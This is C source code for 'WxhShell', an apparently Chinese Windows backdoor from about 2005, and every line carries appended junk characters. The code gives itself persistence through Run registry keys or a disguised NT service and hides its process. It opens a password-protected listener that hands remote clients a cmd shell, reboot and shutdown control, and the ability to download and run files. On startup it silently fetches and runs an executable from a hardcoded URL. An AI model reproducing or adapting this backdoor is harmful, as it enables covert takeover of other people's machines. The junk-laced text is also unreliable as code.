    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kfV}w,  
    else { ' ?t{-z,  
    closesocket(wsh); t-/^O  
    ExitThread(0); "p\KePc;@  
    } gO36tc:ce  
    break; \g/E4U .+  
    } :;QLoZh^  
  // 获取shell S)?B  I  
  case 's': { m`aUz}Y>c  
    CmdShell(wsh); u"ow?[E  
    closesocket(wsh); 4esf&-gG  
    ExitThread(0); &(0);I@fc  
    break; (aLnbJeJ  
  } akoILX~u  
  // 退出 59u7q(  
  case 'x': { isqW?$s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d1N&J`R\1  
    CloseIt(wsh); j!pxG5%  
    break; T^W8_rm *3  
    } &bb*~W-  
  // 离开 B}.ia_&DLR  
  case 'q': { HAXx`r<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FMiYZ1^r  
    closesocket(wsh); wqsnyP/m  
    WSACleanup(); .H "gH-I  
    exit(1); V-57BKeDz  
    break; ( ;q$cKy  
        } 4"@yGXUb  
  } IU/*YI%W  
  } NDi@x"];  
S5vJC-"  
  // 提示信息 mc$dR, H0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WqAP'x 1  
} 3? "GH1e  
  } 5k@ k  
F7d f  
  return; 0@KBQv"v  
} .KV?;{~q@  
k<y$[xV  
// shell模块句柄 @<+(40`*  
int CmdShell(SOCKET sock) 'tc$#f^:  
{ &q+ %OPV  
STARTUPINFO si; aj:+"X-;  
ZeroMemory(&si,sizeof(si)); y g7z?AZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =y ff.3mW\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 99x]DY  
PROCESS_INFORMATION ProcessInfo; x<].mx  
char cmdline[]="cmd"; EC7o 3LoND  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \y=,=;yv  
  return 0; -95 `.o  
} 5m/r,d^H  
RV~w+%f  
// 自身启动模式 ) Ez=#dIq  
int StartFromService(void) zuOIos  
{ 7~ 2X/  
typedef struct %PQC9{hUy$  
{ N4r`czoj  
  DWORD ExitStatus; SU1, +7"  
  DWORD PebBaseAddress; 6YN4]  
  DWORD AffinityMask; /3fo=7G6  
  DWORD BasePriority; *E>YLkg]  
  ULONG UniqueProcessId; !Bd2$y.  
  ULONG InheritedFromUniqueProcessId; ^#%[  
}   PROCESS_BASIC_INFORMATION; Q8O38uZ  
6sntwT"?  
PROCNTQSIP NtQueryInformationProcess; [@(zGb8  
|h;MA,qva  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FD8aO?wvg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ='f>p+*c%  
nWh?zf#{  
  HANDLE             hProcess; uE>}>6)b  
  PROCESS_BASIC_INFORMATION pbi; tG6 o^  
M@.1P<:h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5D'8 l@7  
  if(NULL == hInst ) return 0; x;N?'"GP  
N$. ''D?7D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); edch'H^2+P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3Vhm$y%Td  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); joa$Y6  
2'++G[z  
  if (!NtQueryInformationProcess) return 0; -y~JNDS1]  
xv /w %  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TJCoID7a8  
  if(!hProcess) return 0; 4Hu.o7  
UOq$88sr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1iz\8R:0  
2o,%O91p  
  CloseHandle(hProcess); ^<< Wqmx  
U7Ps2~x3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \KG{ 11  
if(hProcess==NULL) return 0; 4ed( DSN  
qsJo)SA  
HMODULE hMod; KzhldMJ^zq  
char procName[255]; @wB$qd;v  
unsigned long cbNeeded; O,7P6  
#<)u%)`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~;{)S}U@R  
\wM r[_LW  
  CloseHandle(hProcess); C! :\H<gI  
>2_J(vm>  
if(strstr(procName,"services")) return 1; // 以服务启动 RS$e^_W  
KktQA*G  
  return 0; // 注册表启动 idV4hMF9  
} sb;81?|  
`w&|~xT  
// 主模块 *@/! h2  
int StartWxhshell(LPSTR lpCmdLine) K2!KMhvQ  
{ z[vMO%  
  SOCKET wsl; *.20YruU;j  
BOOL val=TRUE; 98A ;R  
  int port=0; Zl]\sJ1"  
  struct sockaddr_in door; b" p,~{  
$U<xrN>O  
  if(wscfg.ws_autoins) Install(); ,Xao{o(  
Mk7#qiPo  
port=atoi(lpCmdLine); m(?M]CH(A  
Hl]3F^{  
if(port<=0) port=wscfg.ws_port; op[5]tjL  
NoV2<m$  
  WSADATA data; 4"0`J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %3Y&D]  
6kHAoERp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ppS,9e-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d!8`}L:=M  
  door.sin_family = AF_INET; ]XU?Wg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +DksWb D  
  door.sin_port = htons(port); z!eY=G'  
1}9@aKM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D guAeK  
closesocket(wsl); S=2-<R  
return 1; fk9FR^u  
} Hw_(Af?C  
J-hP4t&x  
  if(listen(wsl,2) == INVALID_SOCKET) { T0v;8E e  
closesocket(wsl); |0dmdrKD  
return 1; (eSa{C\  
} Rj1Z  
  Wxhshell(wsl); cs,%Zk.xjw  
  WSACleanup(); <$_B J2Z  
]7Tjt A.\q  
return 0; +:;r} 7Zh  
_a^%V9t  
} 8 yQjB-,#  
2BEF8o]Np  
// 以NT服务方式启动 Uk5jZ|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )9,9yd~SI  
{ UuW"  
DWORD   status = 0; Ydh]EO0'  
  DWORD   specificError = 0xfffffff; h0L *8P`t  
h`,dg%J*B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [<7Hy,xr_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NFv9%$l-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]_@5LvI  
  serviceStatus.dwWin32ExitCode     = 0; $Ic: c  
  serviceStatus.dwServiceSpecificExitCode = 0; l}># p'$  
  serviceStatus.dwCheckPoint       = 0; u-=%gx"Di  
  serviceStatus.dwWaitHint       = 0; >#<o7]  
EJ"[{AV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); # KK>D?.:  
  if (hServiceStatusHandle==0) return; '3 5w(  
j-ZKEA{:1  
status = GetLastError(); I HgYgn  
  if (status!=NO_ERROR) `XS6t)!ik  
{ UJ<eF/KSmG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LS*^TA(I[  
    serviceStatus.dwCheckPoint       = 0; E$T)N U\  
    serviceStatus.dwWaitHint       = 0; a=T_I1  
    serviceStatus.dwWin32ExitCode     = status; w-pdpbHV  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]G#og)z4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  Q47Rriw  
    return; + v{<<  
  } ]N,n7v+}  
$d'GCzYvZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cK"b0K/M?B  
  serviceStatus.dwCheckPoint       = 0; #/\5a;Elc  
  serviceStatus.dwWaitHint       = 0; |/5j0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -=I*{dzly  
} K FvNsqd  
l 2y_Nz-;  
// 处理NT服务事件,比如:启动、停止 [RTB|0Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AtGk _tpVZ  
{ ;<O Iu&,*  
switch(fdwControl) 3~iIo&NZ  
{ <p;cR` %uE  
case SERVICE_CONTROL_STOP: [/.o>R#J(  
  serviceStatus.dwWin32ExitCode = 0; be}^}w=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WgF Xv@Jjt  
  serviceStatus.dwCheckPoint   = 0; h/W@R_Y  
  serviceStatus.dwWaitHint     = 0; 1-!u=]JDE  
  { :''^a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LxC*{t/>8  
  } E`}KVi57  
  return; LS}dt?78`V  
case SERVICE_CONTROL_PAUSE: /:iO:g1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VQI  
  break; -Zh`h8gX  
case SERVICE_CONTROL_CONTINUE: *"2TT})   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l_Mi'}j  
  break; .gh3"  
case SERVICE_CONTROL_INTERROGATE: -}_-#L!Q  
  break; -SnP+X!  
}; r~N0P|Tq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dcew`$SJp  
} -$yNJ5F`  
{ AdPC?R`  
// 标准应用程序主函数 :80!-F*\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GdVq+,Ge  
{ C(qqGK{  
uU=O0?'zq  
// 获取操作系统版本 x<W`2Du  
OsIsNt=GetOsVer(); l6IpyIex  
GetModuleFileName(NULL,ExeFile,MAX_PATH); maW,YOyRN  
Nz %{T  
  // 从命令行安装 ~ x- R78'  
  if(strpbrk(lpCmdLine,"iI")) Install(); `'H"|WsT  
$$_aHkI j  
  // 下载执行文件  K6d9[;F  
if(wscfg.ws_downexe) { ?]+{2&&$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v0&E!4q*'  
  WinExec(wscfg.ws_filenam,SW_HIDE); O:3LA-vA  
} %Aq+t&-BCX  
{P ZN J 2~  
if(!OsIsNt) { a/Z >-   
// 如果时win9x,隐藏进程并且设置为注册表启动 }c?/-ab>  
HideProc(); q'{LTg0kk  
StartWxhshell(lpCmdLine); 3eX;T +|o  
} U`Bw2Vdk]S  
else 8DHohhN  
  if(StartFromService()) AC :cV='  
  // 以服务方式启动 !l-^JPb  
  StartServiceCtrlDispatcher(DispatchTable); T>,3V:X  
else s_xWvx8?4.  
  // 普通方式启动 UT!gAU  
  StartWxhshell(lpCmdLine); 5RD\XgyN]  
\} [{q  
return 0; sJu^deX  
} Ad!= *n  
Yz4)Q1  
@LZ'Qc }@  
O CIWQ/ P  
=========================================== <J" 7ufHSQ  
XG2&_u&  
SUwSZ@l^|  
~7a(KJgvd"  
GZXBzZ}  
RQiGKz5  
" }+";W)R  
/cM<  
#include <stdio.h> H=b54.J8&  
#include <string.h> ~H"Q5Hr   
#include <windows.h> m!{Xuy  
#include <winsock2.h> ,[fn? s r  
#include <winsvc.h> Nb;xJSlox  
#include <urlmon.h> [gI;;GW  
ClZ:#uMbN  
#pragma comment (lib, "Ws2_32.lib") 0Yk@O) x  
#pragma comment (lib, "urlmon.lib") k1Cx~Q)XC  
H 6 i4>U*  
#define MAX_USER   100 // 最大客户端连接数 it V@U  
#define BUF_SOCK   200 // sock buffer jzCSxuZ7O  
#define KEY_BUFF   255 // 输入 buffer CGmObN8~'F  
M\\t)=q  
#define REBOOT     0   // 重启 49. @Uzo  
#define SHUTDOWN   1   // 关机 1haNca_6,  
<5rs~  
#define DEF_PORT   5000 // 监听端口 #m yiZL %  
U^+xCX<  
#define REG_LEN     16   // 注册表键长度 }@Rq'VPZd  
#define SVC_LEN     80   // NT服务名长度 c|?0iN  
F|.,lb |L  
// 从dll定义API GiI|6z!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IoUQ~JviA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6b& <5,=d:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wXdtY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Hjl{M>z  
{@j0?s  
// wxhshell配置信息 N0A PX4j  
struct WSCFG { 1NJ,If]  
  int ws_port;         // 监听端口 [4Tiukk(  
  char ws_passstr[REG_LEN]; // 口令 022nn-~  
  int ws_autoins;       // 安装标记, 1=yes 0=no  Z|zyO-  
  char ws_regname[REG_LEN]; // 注册表键名 `-qRZh@E  
  char ws_svcname[REG_LEN]; // 服务名 ACQbw)tiv}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OT-!n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ` @.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 29eg.E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z(g9rz']0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FnkB z5D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2(SK}<X  
q:2Vw`g'  
}; 9v[cy`\  
 cTpmklq  
// default Wxhshell configuration /B>p.%M[&  
struct WSCFG wscfg={DEF_PORT, d:KUJ Y.  
    "xuhuanlingzhe", .1F(-mLd  
    1, xRu m q  
    "Wxhshell", UG)J4ZX  
    "Wxhshell", zQY|=4NP  
            "WxhShell Service", N~I2~f  
    "Wrsky Windows CmdShell Service", Qn`$xY9mT  
    "Please Input Your Password: ", iaShxoIV  
  1, yL =*yC  
  "http://www.wrsky.com/wxhshell.exe", ]WZ_~8  
  "Wxhshell.exe" Ml &Cr  
    }; #=6A[<qX  
A4!IbJD,0  
// 消息定义模块 nsO!   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~3p :jEM.[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r8PXdNg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;uw`6 KJ  
char *msg_ws_ext="\n\rExit."; p4} ,xQzB  
char *msg_ws_end="\n\rQuit."; eK]g FXk  
char *msg_ws_boot="\n\rReboot..."; M#v#3:&5  
char *msg_ws_poff="\n\rShutdown..."; gcLwQ-  
char *msg_ws_down="\n\rSave to "; ;O8Uc&:P  
m e\S:  
char *msg_ws_err="\n\rErr!"; G)qNu}  
char *msg_ws_ok="\n\rOK!"; +<cvyg5U  
w[g(8 #*  
char ExeFile[MAX_PATH]; yO@KjCv"  
int nUser = 0; m~KGB"  
HANDLE handles[MAX_USER]; w]n ,`r^  
int OsIsNt; ,SEC~)L  
$@ /K/"  
SERVICE_STATUS       serviceStatus; b-sbRR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "zU}]|R  
1<Vc[p&  
// 函数声明 Z0yy<9q]2  
int Install(void); OGmOk>_  
int Uninstall(void); :4o08M%  
int DownloadFile(char *sURL, SOCKET wsh); zk)9tm;i{  
int Boot(int flag); Q_p!;3  
void HideProc(void); \SB~rz"A  
int GetOsVer(void); p7.j>w1F  
int Wxhshell(SOCKET wsl); ce/Z[B+d  
void TalkWithClient(void *cs); -w8c;5X  
int CmdShell(SOCKET sock); 8Lm}x_  
int StartFromService(void); %;5AF8#c  
int StartWxhshell(LPSTR lpCmdLine); OyTEd5\3  
&zVF!xNy&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *.g0;\HF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B o@B9/ABv  
wSrq?U5q  
// 数据结构和表定义  VlGg?  
SERVICE_TABLE_ENTRY DispatchTable[] = zj G>=2  
{ We^! (G  
{wscfg.ws_svcname, NTServiceMain}, <@;Y.76~  
{NULL, NULL} j 8lWra\y  
}; -b1VY4m-  
o_un=ygU  
// 自我安装 ,`<w#  
int Install(void) 1PwqW g-\\  
{ ]<3$Sx_{y  
  char svExeFile[MAX_PATH]; d'1 L#`?  
  HKEY key; uFd.2,XNP  
  strcpy(svExeFile,ExeFile); +qz"+g  
^:JZ.r  
// 如果是win9x系统,修改注册表设为自启动 F"7dN*7  
if(!OsIsNt) { eURy]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ujF*'*@\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m%8idjnG  
  RegCloseKey(key); ,^dyS]!d$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _J<^'w^;%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P%Fkd3e+  
  RegCloseKey(key); yn;h.m[):  
  return 0; V?{[IMRC  
    } +.i?UHNB  
  } nxzdg5A(w  
} C^uH]WO  
else { KH4 5A'o  
PA5_  
// 如果是NT以上系统,安装为系统服务 A0x"Etbw)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |T53m;D  
if (schSCManager!=0) 9Q 4m9}  
{ >eHSbQu/Bu  
  SC_HANDLE schService = CreateService k0;ND  
  ( 4H 4U  
  schSCManager, &"bcI7uGT  
  wscfg.ws_svcname, aL63=y  
  wscfg.ws_svcdisp, [UJC/GtjS  
  SERVICE_ALL_ACCESS, fV[(s7vW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .]_Ye.}  
  SERVICE_AUTO_START, z6B(}(D  
  SERVICE_ERROR_NORMAL, J \iyc,M<M  
  svExeFile, 'jv[Gcss3L  
  NULL, eT??F  
  NULL, n-q  
  NULL,  Lb# e  
  NULL, #&+0hS  
  NULL 0>#or$:6E  
  ); x Bn+-V  
  if (schService!=0) *&VH!K#@{  
  { u(ep$>[F#_  
  CloseServiceHandle(schService); chjXsq#Q^  
  CloseServiceHandle(schSCManager); -eKi}e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &Nx'Nq9y  
  strcat(svExeFile,wscfg.ws_svcname); P 19nF[A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E}U[VtaC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /I2RU2|B  
  RegCloseKey(key); ~.4-\M6[  
  return 0; TV$Pl[m   
    } (<?6X9F:N  
  } m>4jRr6sF  
  CloseServiceHandle(schSCManager); cnm&o C 6  
} :Mz$~o<  
} #*^vd{fl  
=3rPE"@,[  
return 1; oiP8~  
} \I r&&%  
\RcB,?OK  
// 自我卸载 Eq>3|(UT  
int Uninstall(void) R:+2}kS5e{  
{ %U]_1"d,<\  
  HKEY key; ]d#Lfgo  
G([8Q8B4 +  
if(!OsIsNt) { _D9` L&X}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^4@~\#$z  
  RegDeleteValue(key,wscfg.ws_regname); ( yk^%  
  RegCloseKey(key); W@NM~+)e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x\ieWF1  
  RegDeleteValue(key,wscfg.ws_regname); u|m>h(O  
  RegCloseKey(key); [n/'JeG5  
  return 0; fFD:E} >5  
  } / d S!  
} QG\lXY,  
} bH}6N>Fp  
else { MS{purD  
b&.j>=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4am`X1YV#  
if (schSCManager!=0) ]^,<Ez  
{ d4c-(ZRl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Lq@pJ)a  
  if (schService!=0) p8<Y5:`  
  { G)28#aH  
  if(DeleteService(schService)!=0) { $YvT* T$_  
  CloseServiceHandle(schService); 8zew8I~s  
  CloseServiceHandle(schSCManager); G%N/]]ll  
  return 0; %AbA(F  
  } J{$+\  
  CloseServiceHandle(schService); +RexQE  
  } F"O{eK0T  
  CloseServiceHandle(schSCManager); +W+O7SK\y  
} td^2gjr^5  
} Uq/#\7/rL  
!4uTi [e  
return 1; f(.@]eu X  
} QF/A-[V  
3nt&Sf  
// 从指定url下载文件 wCiDvHF5+C  
int DownloadFile(char *sURL, SOCKET wsh) n`";ctQT  
{ fsa  
  HRESULT hr; l,Un7]*  
char seps[]= "/"; m%ZJp7C  
char *token; %V-\|cw   
char *file; &.ZW1TxE8  
char myURL[MAX_PATH]; D$g|f[l  
char myFILE[MAX_PATH]; $M\|zUQu.  
iTgGf  
strcpy(myURL,sURL); -|^}~yOx0=  
  token=strtok(myURL,seps); b#0y-bR  
  while(token!=NULL) j`I[M6Qxh  
  { LjUBV_J  
    file=token; }^uUw&   
  token=strtok(NULL,seps); =ECw'  
  } `6V-a_8;[  
) |`eCzCB  
GetCurrentDirectory(MAX_PATH,myFILE); Q+|8|V}w  
strcat(myFILE, "\\"); )&di c6r  
strcat(myFILE, file); zI/)#^SQ  
  send(wsh,myFILE,strlen(myFILE),0); 0wZ_;FN*-  
send(wsh,"...",3,0); !xoN%5 !  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,2mnjq/*Z  
  if(hr==S_OK) P;[5#-e  
return 0; }K,:aN,44\  
else NVx`'Il8 "  
return 1; 8cn)ox|J[  
.+3= H@8h  
} |+Z, 7~!  
l c)*HYqU  
// 系统电源模块 ^.Cfa  
int Boot(int flag) 03?TT,y$  
{ jR7 , b5  
  HANDLE hToken; <N"t[N70;  
  TOKEN_PRIVILEGES tkp; p D!IB`cA4  
IdTeue  
  if(OsIsNt) { 4kGA`XhS*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n k]tq3.[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P_+S;(QQ~d  
    tkp.PrivilegeCount = 1; 24{!j[,q@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f !t2a//  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V%k[S|f3  
if(flag==REBOOT) { {= Dtajz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rP.qCl+J  
  return 0; <tK 6+isc  
} CBx1.xL  
else { H=]$9ZH!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r,=xI` XH  
  return 0; e#Jx|Ej=  
} #.p^ S0\pw  
  } a9z|ef  
  else { "UVqkw,vt  
if(flag==REBOOT) { DUf=\p6`f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m`C(y$8fU  
  return 0; V x1C4  
} j &)Xi^^  
else { :P`sK&b_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RC Fb&,51  
  return 0; GL&ri!,  
} f9H;e(D9]  
} ]d?`3{h9LD  
flTK  
return 1; pc&/'zb  
} vC~];!^  
8r /]Q  
// win9x进程隐藏模块 xdp!'1n."g  
void HideProc(void) |RwpIe8~  
{ p,}-8#K[  
^_3idLE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x!bFbi#!"  
  if ( hKernel != NULL ) ?KpHvf'  
  { !o~% F5|t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V1Dwh@iS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (:E_m|00;  
    FreeLibrary(hKernel); y %Get  
  } W >eJGZ<  
b_-ESs]g  
return; +<6L>ZAL  
} E&V"z^qs_  
~PaD _W#xP  
// 获取操作系统版本 'qQ 5K o  
int GetOsVer(void) e/lfT?J\  
{ '1;Q'-/J  
  OSVERSIONINFO winfo; aWek<Y~+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @uz&]~+`  
  GetVersionEx(&winfo); yCkfAx8 ]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '-3AWBWI1  
  return 1; !>b>"\b  
  else i`7{q~d=  
  return 0; iaXNf ])?  
} P{5p'g ,  
G_zJuE$V  
// 客户端句柄模块 aKS 2p3   
int Wxhshell(SOCKET wsl) HZCEr6}(  
{ L q8}z-?  
  SOCKET wsh; ~R-S$qizAC  
  struct sockaddr_in client; Yo @>O98  
  DWORD myID; 1B= vrGq  
Da1BxbDeI  
  while(nUser<MAX_USER) =[(1u|H 9  
{ X;flA*6V  
  int nSize=sizeof(client); /pgfa-<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GdEkA  
  if(wsh==INVALID_SOCKET) return 1; <ro0}%-z>M  
aq~hl7MTj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W?~G_4  
if(handles[nUser]==0) q,V JpqQ  
  closesocket(wsh); 3 1KMn  
else G/_#zIN`8M  
  nUser++; s4P8PDhz  
  } n l Xg8t^G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MBs]<(RJZ  
WK0?$[|=r  
  return 0; \k0%7i[nZ/  
} PXm{GLXRS;  
2G:)27Q-  
// 关闭 socket 7}-.U=tnP  
void CloseIt(SOCKET wsh) v 2k/tT$t  
{ dsX{  5  
closesocket(wsh); 7!w@u6Q  
nUser--; J}EQ_FC"$  
ExitThread(0); { ,.1KtrSN  
} ,)'!E^n  
pSkP8'  ?  
// 客户端请求句柄 N72z5[..  
void TalkWithClient(void *cs) 85$MHod}[,  
{ pBiC  
[J\5DctX;c  
  SOCKET wsh=(SOCKET)cs; 9_ JK.  
  char pwd[SVC_LEN]; 'VFxg,  
  char cmd[KEY_BUFF]; ]Rohf WHX  
char chr[1]; o,9E~Q'`{  
int i,j; u /JEQz1  
hJ.XG<?]$  
  while (nUser < MAX_USER) { |;'V":yDs  
YNc%[S[u^1  
if(wscfg.ws_passstr) { ?|TVz!3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ur={+0 y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qqT6C%Q`kG  
  //ZeroMemory(pwd,KEY_BUFF); hD{+V!{  
      i=0; 6[wej$ u  
  while(i<SVC_LEN) { ~[Mk QJxe  
(ZQ{%-i?qR  
  // 设置超时 ]8ua>1XS  
  fd_set FdRead; j+]>x]c0  
  struct timeval TimeOut; _o~<f)E[9  
  FD_ZERO(&FdRead); <8Nh dCO6  
  FD_SET(wsh,&FdRead); }|H]>U&  
  TimeOut.tv_sec=8; (`GO@  
  TimeOut.tv_usec=0; v3[Z ]+ ]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gg'lb{oG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9X,dV7 yW  
Y oNg3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T nAd!  
  pwd=chr[0]; d]VL( &  
  if(chr[0]==0xd || chr[0]==0xa) { \hQ[5>  
  pwd=0; cZ \#074u/  
  break; wX8T;bo&  
  } ~/Aw[>_;  
  i++; Qc\JUm]  
    } ':!w%& \  
6hXL`A&},  
  // 如果是非法用户,关闭 socket y`:}~nUdT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T9KzVxHp5  
} '[I_Iu#,  
8HX(1nNj}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )+wBS3BC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4LtFv)i  
K6@QZc5.!  
while(1) { =#^%; 66z  
iOPv % [  
  ZeroMemory(cmd,KEY_BUFF); '?E^\\"*  
ldrKk'S,B  
      // 自动支持客户端 telnet标准   P .3j |)NW  
  j=0; Im{50%Y  
  while(j<KEY_BUFF) { Vi23pDZ5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V;L^q?v !  
  cmd[j]=chr[0]; x8.7])?w  
  if(chr[0]==0xa || chr[0]==0xd) { ~IZ'zuc  
  cmd[j]=0; *rSMD_>  
  break; :g2?)Er-  
  } dc5w_98o  
  j++; $6XSW  
    } "w9`UFu%^e  
8/U=~*` _  
  // 下载文件 L-^vlP)Vu  
  if(strstr(cmd,"http://")) { R3d>|`) +  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yX$I<L<Suz  
  if(DownloadFile(cmd,wsh)) %CfJ.;BDNE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); { > {|3  
  else AW&HWc~A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I7 pxi$8f  
  } 8;P8CKe  
